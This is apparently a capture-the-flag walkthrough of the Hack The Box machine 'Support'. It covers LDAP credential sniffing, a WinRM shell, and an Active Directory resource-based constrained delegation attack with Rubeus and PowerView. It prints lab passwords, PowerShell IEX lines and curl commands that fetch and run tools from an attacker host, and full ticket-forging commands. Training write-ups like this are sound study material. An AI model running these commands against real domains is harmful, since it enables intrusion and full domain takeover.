Support is a Windows machine running Active Directory. There's an open SMB share containing a .NET executable which authenticates using the LDAP protocol. Wireshark can be used to analyze the traffic of the LDAP queries to the Domain Controller to find credentials which can be used to enumerate LDAP. This leads to the discovery of the credentials for the support user which can then be used to get a shell with WinRM. Further analysis shows that the support user is a member of the Shared Support group which has GenericAll privileges on the DC, this can be leveraged to perform a resource-based constrained delegation attack to impersonate an administrator and obtain a shell as nt authority/system.
nmap scan:
Most notable open ports:
- 53 (DNS)
- 88 (Kerberos)
- 445 (SMB)
- 389, 3268 (LDAP)
- 636, 3269 (LDAPS)
Active Directory:
- domain name: support.htb
- hostname: DC
I went to /etc/hosts and added the IP 10.129.227.255 with support.htb and dc.support.htb
Since port 445 was open, I enumerated SMB shares with smbclient.
Connecting to the support-tools share listed the following files:
The most interesting was UserInfo.exe.zip, so I downloaded it locally.
I extracted the archive into a directory called /UserInfo.
file UserInfo.exe showed that it was a .NET executable built with Mono.
mono can be used to run .exe files on Linux. So, I ran mono UserInfo.exe to get usage info.
mono UserInfo.exe -v find showed that either -first or -last was required.
I ran mono UserInfo.exe -v find -first mike which outputted an object not found exception.
Running the command again and intercepting the packets with Wireshark showed that they were connecting through LDAP.
Following the TCP stream of the LDAP bindRequest revealed authentication credentials.
domain: support
user: ldap
password: nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
I attempted to authenticate with crackmapexec as the ldap user to verify that these credentials were valid.
Next, I ran the bloodhound.py ingestor to gather the domain data.
Then, I imported the data into bloodhound to get a better idea of the AD environment.
Shortest Path to Unconstrained Delegation Systems showed SHARED SUPPORT ACCOUNTS@SUPPORT.HTB had GenericAll privileges on the DC and SUPPORT@SUPPORT.HTB could PSRemote into the DC which both stood out because these were custom configurations.
I used ldapsearch to try and find some more information about the items in AD.
Viewing the ldap.out file showed all the information about the items in the Active Directory. The support user (a member of the SHARED SUPPORT ACCOUNTS group) had an interesting info field with the value Ironside47pleasure40Watchful. Within Active Directory, passwords for shared accounts are sometimes stored as an attribute so this looked like it could be a password.
user: support
password: Ironside47pleasure40Watchful
I verified that these creds authenticate:
Along with finding out that the SUPPORT@SUPPORT.HTB could PSRemote into the DC, the BloodHound data also showed that SUPPORT@SUPPORT.HTB was a member of Remote Management Users, so I used Evil-WinRM to get a shell.
evil-winrm made a connection as the support user:
The user flag can be found in C:\Users\support\Desktop
Next, I needed to escalate privileges to get administrator access.
Looking at the bloodhound data of group delegated object control, SUPPORT@SUPPORT.HTB (a member of SHARED SUPPORT ACCOUNTS@SUPPORT.HTB) had GenericAll on DC.SUPPORT.HTB which means that a trustee with this privilege can manipulate that computer object with full control.
Looking at the abuse info of GenericAll showed the steps of the attack.
There were a few dependencies that I needed to download in order to run the attack and get a shell as domain administrator.
I copied the following paths into my /Desktop/HTB/Support/www directory:
cp /opt/Powermad/Powermad.ps1 .cp /opt/PowerSploit/Recon/PowerView.ps1 .cp /opt/SharpCollection/NetFramework_4.7_Any/Rubeus.exe .Started a python server from the /Desktop/HTB/Support/www directory:
Next, I went into \programdata within the Evil-WinRM shell and downloaded Rubeus, Powermad, and PowerView with the following commands:
curl 10.10.14.14:8000/Rubeus.exe -o Rubeus.exeIEX(New-Object Net.WebClient).downloadString('http://10.10.14.14:8000/Powermad.ps1')IEX(New-Object Net.WebClient).downloadString('http://10.10.14.14:8000/PowerView.ps1')
Checking back with the python server showed that the files downloaded successfully.
Next, I checked the ms-ds-machineaccountquota attribute which showed that I could create a total of 10 machines, this is the default amount of computers that a user with standard AD rights can join to a domain.
Get-DomainObject -Identity 'DC=SUPPORT,DC=HTB' | select ms-ds-machineaccountquota
According to the GenericAll abuse info in BloodHound, the attack consists of the following steps:
Create a new machine account:
New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force)
Get security identifier (SID) of new machine account:
$ComputerSid = Get-DomainComputer attackersystem -Properties objectsid | Select -Expand objectsid
Create a Security Descriptor object and assign the new computer (attackersystem) SID.
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"$SDBytes = New-Object byte[] ($SD.BinaryLength)$SD.GetBinaryForm($SDBytes, 0)
Assign the newly created bytes to act on behalf of the DC by adding it to an ACL (Access Control List), which will allow the new computer to forge Kerberos tickets:
Get-DomainComputer dc | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
Use Rubeus to hash a password for the attackersystem computer account.
.\Rubeus.exe hash /password:Summer2018!
Take the rc4_hmac form to run the s4u attack with Rubeus which will generate tickets for the administrator.
Rubeus.exe s4u /user:attackersystem$ /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:administrator /msdsspn:cifs/dc.support.htb /ptt
Copy the last ticket.
I removed any whitespace and saved it in a file called ticket.kirbi.b64.
Next, I ran the command base64 -d ticket.kirbi.b64 > ticket.kirbi to decode it from base64 and save it in a file called ticket.kirbi and then used ticketConverter.py from Impacket to convert the kirbi ticket to a ccache.
I used the ticket with psexec.py to get a shell as nt authority\system.
The root flag can be found in C:\Users\Administrator\Desktop
